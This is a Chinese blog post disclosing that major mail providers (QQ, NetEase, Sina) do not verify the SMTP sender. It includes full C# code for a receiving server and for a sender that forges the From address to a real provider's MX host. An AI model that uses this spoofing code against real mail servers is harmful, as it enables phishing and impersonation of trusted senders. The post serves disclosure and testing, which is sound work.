這幾天學習了下郵箱服務器及郵件協議,發現了不少問題,於是就測試了一下各個大型郵箱服務商的服務器。(這個問題應該之前也有人發現的,可能我沒找到把)
經過測試發現了一個非常嚴重的問題(至少我覺得已經非常嚴重了),就是可以完全偽造任何人的郵箱地址發送郵件,比如:system@163.com 發送給除163郵箱的大多數郵箱。
我測試了QQ、網易、新浪三家的郵箱服務器,都沒有做任何的驗證(騰訊的稍微好點)。
我先說說這個漏洞存在哪里,首先郵箱服務器之間的通信,比如下面這個:
A 發送服務器 B接收服務器
A:鏈接B
B:220 Welcome to Happy you and me SMTP Server.
A:HELO m1.163.com
B:250 ok
A:MAIL FROM:<system@net.cn>
B:250 ok
A:RCPT TO:<happyyouandme1@sina.cn>
B:250 ok
A:DATA
B:354 Start mail input; end with <CRLF>.<CRLF>
A:DATA數據
B:250 OK
之后就是退出命令
按常理我們應該在A發HELO m1.163.com 的時候去獲取A的服務器信息,然后驗證是否於當前鏈接的IP地址符合,但我測試的這三家都沒有做任何的驗證,也就導致了MAIL FROM 的郵箱可以任意指定。
其實我認為當初設計這個協議的時候作者的想法是互相表明了身份后雙方都應該驗證對方身份是否合法的,但可惜的是以上三家服務商並沒有驗證(163的郵箱服務器好像不是自己的),
我文采不好也就不多說了,希望各大服務商能盡快修復這個問題帶給我們用戶一點安全感吧,現在我都不敢相信郵箱內容了,打電話確認了之后才放心,
如果小弟有啥不對的地方請各位多多指正,小弟不甚感激
最后付上我測試的郵箱接收和發送的代碼,各位大哥大姐也可以去測下,(但測試測試就好了。。 別做壞事哦)
接受端:
class Program { static void Main(string[] args) { var listener = new TcpListener(IPAddress.Any, 25); listener.Start(); while (true) { Console.WriteLine("服務已啟動"); var socket = listener.AcceptSocket(); ResolveSocket(socket); } } static void ResolveSocket(Socket socket) { Console.WriteLine("收到消息:{0}", socket.RemoteEndPoint);//收到鏈接 socket.Send(System.Text.Encoding.ASCII.GetBytes("220 Welcome to Happy you and me SMTP Server.\r\n"));//服務器准備完成,並發送歡迎語句 byte[] bytes = new byte[80]; var count = socket.Receive(bytes);//接收 var sendServer = System.Text.Encoding.ASCII.GetString(bytes); Console.WriteLine(sendServer); Console.WriteLine("發件箱服務器:{0}", sendServer.Split(' ')[1]);//獲取發送服務器地址 socket.Send(System.Text.Encoding.ASCII.GetBytes("250 x-xh.com\r\n"));//發生確認信息 bytes = new byte[80]; count = socket.Receive(bytes); sendServer = System.Text.Encoding.ASCII.GetString(bytes);//獲取到發送郵件的主人地址 Console.WriteLine(sendServer); Console.WriteLine("發件人地址: {0}", System.Text.RegularExpressions.Regex.Match(sendServer, @"\<([\s\S]+)\>").Groups[1]);//獲取發件人地址 socket.Send(System.Text.Encoding.ASCII.GetBytes("250 OK\r\n"));//告訴對方服務器可以接收發件人發來的郵件 bytes = new byte[80]; count = socket.Receive(bytes); sendServer = System.Text.Encoding.ASCII.GetString(bytes);//250 OK Console.WriteLine(sendServer); while (sendServer.StartsWith("rcpt", StringComparison.OrdinalIgnoreCase))//循環獲取接收此郵件人的信息 { Console.WriteLine("收件人地址: {0}", System.Text.RegularExpressions.Regex.Match(sendServer, @"\<([\s\S]+)\>").Groups[1]);//獲取收件人地址 socket.Send(System.Text.Encoding.ASCII.GetBytes("250 OK\r\n"));//告訴對方服務器接收人可以接收發件人發來的郵件 bytes = new byte[80]; count = socket.Receive(bytes); sendServer = System.Text.Encoding.ASCII.GetString(bytes);//250 OK Console.WriteLine(sendServer); } if (sendServer.StartsWith("data", StringComparison.OrdinalIgnoreCase))//正式數據 { socket.Send(System.Text.Encoding.ASCII.GetBytes("354 Start mail input; end with <CRLF>.<CRLF>\r\n"));//告訴對方可以開始寫入郵件內容了 bytes = new byte[512]; while ((count = socket.Receive(bytes)) == 512) { sendServer += System.Text.Encoding.ASCII.GetString(bytes); } sendServer += System.Text.Encoding.ASCII.GetString(bytes); socket.Send(System.Text.Encoding.ASCII.GetBytes("250 OK\r\n"));//告訴對方我接收完成了 bytes = new byte[512]; socket.Receive(bytes); sendServer += System.Text.Encoding.ASCII.GetString(bytes); Console.WriteLine(sendServer.Trim()); System.IO.File.WriteAllText("d:\\1.txt", sendServer); } socket.Send(System.Text.Encoding.ASCII.GetBytes("221 Goodbye.\r\n"));//結束此次對話 socket.Close(); socket.Dispose(); } }
發送端:
class Program { static void Main(string[] args) { //113.108.77.23 //qq郵箱 更多服務器nslookup -qt=mx qq.com //163mx02.mxmail.netease.com// 163郵箱 更多服務器nslookup -qt=mx 163.com //freemx1.sinamail.sina.com.cn System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("freemx1.sinamail.sina.com.cn", 25);//連接接收此郵件的服務器 byte[] bytes = new byte[80]; var count = client.Client.Receive(bytes);//接收服務器返回的狀態信息 var sendServer = System.Text.Encoding.ASCII.GetString(bytes);//應該返回220 Console.WriteLine(sendServer); client.Client.Send(System.Text.Encoding.ASCII.GetBytes("HELO m1.163.com\r\n"));//發送HELO信息 bytes = new byte[80]; count = client.Client.Receive(bytes);//接收服務器返回的狀態信息 sendServer = System.Text.Encoding.ASCII.GetString(bytes);//應該返回250 Console.WriteLine(sendServer); client.Client.Send(System.Text.Encoding.ASCII.GetBytes("MAIL FROM:<system@net.cn>\r\n"));//通知服務器郵件的發送者 bytes = new byte[80]; count = client.Client.Receive(bytes);//接收服務器返回的狀態信息 sendServer = System.Text.Encoding.ASCII.GetString(bytes);//返回250 則可以繼續,否則不能繼續了 Console.WriteLine(sendServer); client.Client.Send(System.Text.Encoding.ASCII.GetBytes("RCPT TO:<123456@sina.cn>\r\n"));//通知服務器接收郵件的郵箱地址 多個可循環此步驟,但要接收了返回信息在發 bytes = new byte[80]; count = client.Client.Receive(bytes);//接收服務器返回的狀態信息 sendServer = System.Text.Encoding.ASCII.GetString(bytes);//返回250 則可以繼續,否則不能繼續了 Console.WriteLine(sendServer); client.Client.Send(System.Text.Encoding.ASCII.GetBytes("DATA\r\n"));//通知服務器要發生郵件內容了 bytes = new byte[80]; count = client.Client.Receive(bytes);//接收服務器返回的狀態信息 sendServer = System.Text.Encoding.ASCII.GetString(bytes);//返回354 則可以繼續,否則不能繼續了 Console.WriteLine(sendServer); string data = @"From:1049099499<system@net.cn> To: 1049099499<123456@sina.cn> Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: Base64 5LiN5aW95oSP5oCd77yM5ou/5L2g6YKu566x5Y+R5LqG5Liq6YKu5Lu2LeOAgi3vvIE= ------=_Part_161944_1210153027.551452414 . "; client.Client.Send(System.Text.Encoding.ASCII.GetBytes(data));//郵件內容,內容是Base64編碼的 “不好意思,拿你郵箱發了個郵件-。-!” Console.WriteLine("數據發送完成"); bytes = new byte[80]; count = client.Client.Receive(bytes);//接收服務器返回的狀態信息 sendServer = System.Text.Encoding.ASCII.GetString(bytes); Console.WriteLine(sendServer);//返回250 則成功了 550則失敗,發送給qq的郵箱失敗率很高,不知道為什么,451也是失敗,但不知道什么東西 Console.Read(); } }
轉載請注明出處:快樂你我-快樂編程
QQ群:82598514
聯系郵箱:12482335@qq.com